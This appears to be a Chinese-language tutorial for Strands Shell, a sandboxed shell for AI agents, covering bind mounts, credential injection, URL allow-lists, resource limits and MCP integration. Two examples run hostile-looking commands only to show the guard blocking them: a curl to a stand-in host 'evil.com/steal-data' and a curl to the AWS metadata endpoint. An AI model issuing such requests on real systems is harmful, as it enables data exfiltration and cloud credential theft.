Strands Shell 完整教學

1# 使用 pip（推薦用 uv 管理虛擬環境）
2pip install strands-shell
3
4# 或使用 uv
5uv pip install strands-shell

1import strands_shell
2shell = strands_shell.Shell()
3out = shell.run("echo 'Hello from Strands Shell!'")
4print(out.stdout)  # Hello from Strands Shell!
5print(out.status)  # 0

1npm install @strands-agents/shell

1import { Shell } from '@strands-agents/shell'
2
3const shell = await Shell.create()
4const out = await shell.run('echo "Hello from Strands Shell!"')
5console.log(out.stdout) // Hello from Strands Shell!

1{
2  "mcpServers": {
3    "shell": {
4      "command": "uvx",
5      "args": ["strands-shell", "--mcp"]
6    }
7  }
8}

1uvx strands-shell --config sandbox.toml --mcp

 1# Clone
 2git clone https://github.com/strands-agents/shell.git
 3cd shell
 4
 5# Rust 核心
 6cargo build
 7cargo test --workspace --all-targets
 8
 9# Python bindings
10python -m venv .venv && source .venv/bin/activate
11pip install maturin pytest
12maturin develop --features python
13pytest tests/python -v
14
15# Node.js bindings
16npm install
17npm run build
18npm test

 1import strands_shell
 2
 3# 建立一個帶有 bind mount 的 shell
 4shell = strands_shell.Shell(
 5    binds=[
 6        # copy 模式：把 host 的 /my/project 快照到 VFS 的 /workspace
 7        # agent 的任何修改不會影響 host 上的原始檔案
 8        strands_shell.Bind(
 9            source="/my/project",        # host 上的路徑
10            destination="/workspace",    # VFS 中的路徑
11            mode="copy"                  # 快照模式（預設是 direct）
12        ),
13        # direct 模式：agent 的寫入會直接反映到 host
14        # 適用於輸出目錄
15        strands_shell.Bind(
16            source="/tmp/output",
17            destination="/output",
18            mode="direct"
19        ),
20    ],
21    env={"PROJECT": "demo", "LANG": "en_US.UTF-8"},  # 設定環境變數
22    timeout=30.0,  # 每個指令的超時限制（秒）
23)
24
25# 執行指令——狀態在多次 run() 之間保持
26shell.run("cd /workspace")
27shell.run("X=42")
28out = shell.run("echo $X from $PWD")
29print(out.stdout.strip())  # 42 from /workspace
30
31# 搜尋 TODO 標記
32out = shell.run("grep -rn TODO /workspace")
33print(out.stdout)
34
35# 使用 pipe（管線）
36out = shell.run("find /workspace -name '*.py' | head -10")
37print(out.stdout)

 1import strands_shell
 2
 3shell = strands_shell.Shell(
 4    credentials=[
 5        # 從環境變數注入 Bearer token
 6        # agent 永遠看不到 token 的值——Kernel 在 HTTP request 時自動注入
 7        strands_shell.Cred(
 8            url="https://api.github.com/",
 9            env_var="GITHUB_TOKEN"  # 從 host 的環境變數讀取
10        ),
11        # 直接提供 token 值（適用於測試）
12        strands_shell.Cred(
13            url="https://api.example.com/",
14            token="sk-test-12345"
15        ),
16    ],
17    # 只允許存取這些 URL prefix
18    # 未列入的 URL 會被 SSRF guard 阻擋
19    allowed_urls=[
20        "https://api.github.com/",
21        "https://api.example.com/",
22    ],
23)
24
25# curl 會自動帶上 Bearer token——agent 不需要知道 token 是什麼
26out = shell.run('curl -s https://api.github.com/user')
27print(out.stdout)  # GitHub API 回傳的使用者資訊
28
29# 嘗試存取未授權的 URL → 被阻擋
30out = shell.run('curl https://evil.com/steal-data')
31print(out.status)   # 非 0 的 exit code
32print(out.stderr)   # 錯誤訊息

 1# sandbox.toml — 一個完整的設定範例
 2
 3# 掛載工作目錄（copy 模式，隔離）
 4[[bind]]
 5mode = "copy"
 6source = "/home/user/project"
 7destination = "/workspace"
 8
 9# 掛載輸出目錄（direct 模式，直通）
10[[bind]]
11mode = "direct"
12source = "/tmp/agent-output"
13destination = "/output"
14
15# GitHub API 憑證（Bearer token）
16[[cred]]
17url = "https://api.github.com/"
18methods = ["GET"]
19kind = "bearer"
20api_key_env = "GITHUB_TOKEN"
21
22# OpenAI API 憑證
23[[cred]]
24url = "https://api.openai.com/v1/"
25methods = ["POST"]
26kind = "bearer"
27api_key_env = "OPENAI_API_KEY"
28
29# MCP server 整合：agent 可在 shell 中用 Lua require() 呼叫 MCP tool
30[[mcp]]
31name = "my-tools"
32command = "/path/to/mcp-server"
33args = ["--stdio"]

 1import strands_shell
 2
 3# 從 TOML 載入——明確指定的參數會覆蓋 TOML 中的值
 4shell = strands_shell.Shell(
 5    config_file="sandbox.toml",
 6    timeout=60.0,  # 覆蓋 TOML 中的 timeout（如果有的話）
 7)
 8
 9# 執行指令
10out = shell.run("ls /workspace")
11print(out.stdout)
12
13# MCP tools 可透過 Lua 存取
14out = shell.run('lua -e \'local t = require("my-tools"); print(t.some_tool("arg"))\'')

 1import strands_shell
 2
 3shell = strands_shell.Shell(
 4    binds=[
 5        strands_shell.Bind("/my/project", "/workspace", mode="copy"),
 6    ],
 7    limits=strands_shell.Limits(
 8        max_file_size=10 * 1024 * 1024,  # 10 MB per file
 9        max_output=1 * 1024 * 1024,       # 1 MB stdout cap
10        max_inodes=10_000,                 # 最多 10,000 個檔案
11        max_fds=128,                       # 最多 128 個 file descriptor
12    ),
13)
14
15# 直接寫入檔案（不需要 echo > file）
16shell.write_file("/workspace/note.txt", b"Hello, World!")
17
18# 直接讀取檔案（回傳 bytes）
19data = shell.read_file("/workspace/note.txt")
20print(data.decode())  # Hello, World!
21
22# 列出目錄（回傳 FileInfo 物件列表）
23entries = shell.list_files("/workspace")
24for entry in entries:
25    kind = "DIR" if entry.is_dir else "FILE"
26    size = entry.size if entry.size is not None else "-"
27    print(f"  [{kind}] {entry.name}  ({size} bytes)")
28
29# 刪除檔案
30shell.remove_file("/workspace/note.txt")
31
32# 錯誤處理——使用 typed exception hierarchy
33try:
34    shell.read_file("/workspace/nonexistent.txt")
35except strands_shell.FileNotFoundError as e:
36    print(f"File not found: {e.path}")  # 可直接 except FileNotFoundError
37except strands_shell.FileTooLargeError as e:
38    print(f"File too large: {e.message}")
39except strands_shell.PermissionDeniedError as e:
40    print(f"Permission denied: {e.path}")

1use std::sync::Arc;
2use strands_shell::Shell;
3use strands_shell::os::Kernel;
4
5// 例如：S3-backed kernel，檔案系統存在 S3
6// 或 database-backed kernel，metadata 存在資料庫
7fn from_custom_kernel(kernel: Arc<dyn Kernel>) -> Shell {
8    Shell::with_kernel(kernel)
9}

 1# 在 shell 中執行 Lua
 2lua -e 'for i = 1, 10 do print("Item " .. i) end'
 3
 4# 使用 Lua 處理 JSON（比 jq 更適合複雜邏輯）
 5curl -s https://api.example.com/data | lua -e '
 6  local json = require("json")
 7  local data = json.decode(io.read("*a"))
 8  for _, item in ipairs(data.results) do
 9    print(item.name .. ": " .. item.score)
10  end
11'

1# 假設 TOML 中設定了 name = "my-tools" 的 MCP server
2lua -e '
3  local tools = require("my-tools")
4  local result = tools.search_documents("query string")
5  print(result)
6'

 1import strands_shell
 2
 3shell = strands_shell.Shell(
 4    limits=strands_shell.Limits(
 5        max_output=1 << 20,    # 1 MB stdout 上限（防止無限輸出填滿記憶體）
 6        max_file_size=10 << 20, # 10 MB 單檔上限
 7        max_fds=128,            # 最多 128 個 file descriptor
 8        max_bg_jobs=8,          # 最多 8 個背景工作
 9        max_pipeline=16,        # pipeline 最多 16 段
10        max_input=1 << 20,      # 1 MB stdin 上限
11        max_inodes=10_000,      # 最多 10,000 個 inode（檔案 + 目錄）
12        max_depth=64,           # 遞迴深度上限
13    ),
14    timeout=30.0,  # 每個指令 30 秒超時
15)

 1# 每個 agent session 建立獨立的 Shell
 2# 建構成本極低——只是記憶體內的資料結構
 3def create_agent_shell(session_id: str, project_path: str) -> strands_shell.Shell:
 4    return strands_shell.Shell(
 5        binds=[
 6            strands_shell.Bind(project_path, "/workspace", mode="copy"),
 7            strands_shell.Bind(f"/tmp/output/{session_id}", "/output", mode="direct"),
 8        ],
 9        timeout=30.0,
10        limits=strands_shell.Limits(max_output=1 << 20),
11    )

1# 需要 wasi-sdk >= 32
2./scripts/build-wasm.sh --release

1{
2  "mcpServers": {
3    "shell": {
4      "command": "uvx",
5      "args": ["strands-shell", "--config", "sandbox.toml", "--mcp"]
6    }
7  }
8}

 1# 與 Strands Agents SDK 整合
 2from strands import Agent
 3import strands_shell
 4
 5shell = strands_shell.Shell(
 6    binds=[strands_shell.Bind("/project", "/workspace", mode="copy")],
 7)
 8
 9# 作為 tool 提供給 agent
10def shell_tool(command: str) -> str:
11    """Execute a shell command in the sandboxed environment."""
12    out = shell.run(command)
13    if out.status != 0:
14        return f"Error (exit {out.status}): {out.stderr}"
15    return out.stdout

1import { Shell } from '@strands-agents/shell'
2
3const shell = await Shell.create({
4    binds: [{ source: '/project', destination: '/workspace', mode: 'copy' }],
5    timeout: 30000,
6})
7
8const out = await shell.run('grep -rn "TODO" /workspace')
9console.log(out.stdout)

1use strands_shell::Shell;
2
3let mut shell = Shell::builder()
4    .bind("/project", "/workspace")
5    .timeout(std::time::Duration::from_secs(30))
6    .build()?;
7
8let output = shell.run("grep -rn TODO /workspace").await;
9println!("exit {}: {}", output.status, output.stdout);

 1import strands_shell
 2
 3# 建立隔離的開發環境
 4dev_shell = strands_shell.Shell(
 5    binds=[
 6        # 只掛載 src/ 目錄（不是整個專案根目錄）
 7        # 排除 .git/, .env, node_modules/
 8        strands_shell.Bind("/home/user/project/src", "/workspace/src", mode="copy"),
 9        strands_shell.Bind("/home/user/project/tests", "/workspace/tests", mode="copy"),
10        strands_shell.Bind("/home/user/project/package.json", "/workspace/package.json", mode="copy"),
11        # 輸出目錄——agent 的修改寫在這裡
12        strands_shell.Bind("/tmp/agent-output", "/output", mode="direct"),
13    ],
14    credentials=[
15        strands_shell.Cred(url="https://registry.npmjs.org/", env_var="NPM_TOKEN"),
16    ],
17    allowed_urls=["https://registry.npmjs.org/"],
18    timeout=60.0,
19    limits=strands_shell.Limits(max_output=2 << 20),
20)
21
22# Agent 工作流
23out = dev_shell.run("grep -rn 'TODO\\|FIXME\\|HACK' /workspace/src")
24print("Found issues:", out.stdout)
25
26out = dev_shell.run("find /workspace/src -name '*.ts' | wc -l")
27print("TypeScript files:", out.stdout.strip())
28
29# 將修改寫到輸出目錄（host 可見）
30dev_shell.run("cp /workspace/src/index.ts /output/index.ts.fixed")

 1import strands_shell
 2
 3api_shell = strands_shell.Shell(
 4    credentials=[
 5        strands_shell.Cred(url="https://api.github.com/", env_var="GITHUB_TOKEN"),
 6        strands_shell.Cred(url="https://api.openai.com/v1/", env_var="OPENAI_API_KEY"),
 7        strands_shell.Cred(url="https://internal-api.company.com/", env_var="INTERNAL_TOKEN"),
 8    ],
 9    allowed_urls=[
10        "https://api.github.com/",
11        "https://api.openai.com/v1/",
12        "https://internal-api.company.com/",
13    ],
14    timeout=30.0,
15)
16
17# Agent 可以安全地呼叫 API——token 自動注入，agent 看不到值
18out = api_shell.run('''
19    curl -s https://api.github.com/repos/strands-agents/shell \
20    | jq '{name: .name, stars: .stargazers_count, language: .language}'
21''')
22print(out.stdout)
23
24# 嘗試存取 IMDS（AWS metadata endpoint）→ SSRF guard 阻擋
25out = api_shell.run('curl http://169.254.169.254/latest/meta-data/')
26print(f"IMDS blocked: exit code {out.status}")
27
28# 嘗試列印環境變數中的 token → 看不到
29out = api_shell.run('echo $GITHUB_TOKEN')
30print(f"Token visible? '{out.stdout.strip()}'")  # 空的

 1import strands_shell
 2
 3pipeline_shell = strands_shell.Shell(
 4    binds=[
 5        strands_shell.Bind("/data/input", "/input", mode="copy"),
 6        strands_shell.Bind("/data/output", "/output", mode="direct"),
 7    ],
 8    timeout=120.0,
 9    limits=strands_shell.Limits(
10        max_file_size=50 << 20,  # 50 MB per file
11        max_output=5 << 20,       # 5 MB stdout
12    ),
13)
14
15# 使用 shell pipeline 處理資料
16pipeline_shell.run('''
17    # 找出所有 CSV 檔案
18    find /input -name "*.csv" | while read f; do
19        echo "Processing: $f"
20        # 取出 header + 符合條件的行
21        head -1 "$f" > /output/$(basename "$f" .csv)_filtered.csv
22        grep -i "active" "$f" >> /output/$(basename "$f" .csv)_filtered.csv
23    done
24''')
25
26# 用 jq 處理 JSON
27pipeline_shell.run('''
28    cat /input/data.json | jq '
29        .records
30        | map(select(.status == "active"))
31        | sort_by(.score)
32        | reverse
33        | .[0:10]
34    ' > /output/top10.json
35''')
36
37# 產生摘要報告
38out = pipeline_shell.run('''
39    echo "=== Processing Summary ==="
40    echo "Input files: $(find /input -type f | wc -l)"
41    echo "Output files: $(find /output -type f | wc -l)"
42    echo "Total output size: $(find /output -type f -exec wc -c {} + | tail -1)"
43''')
44print(out.stdout)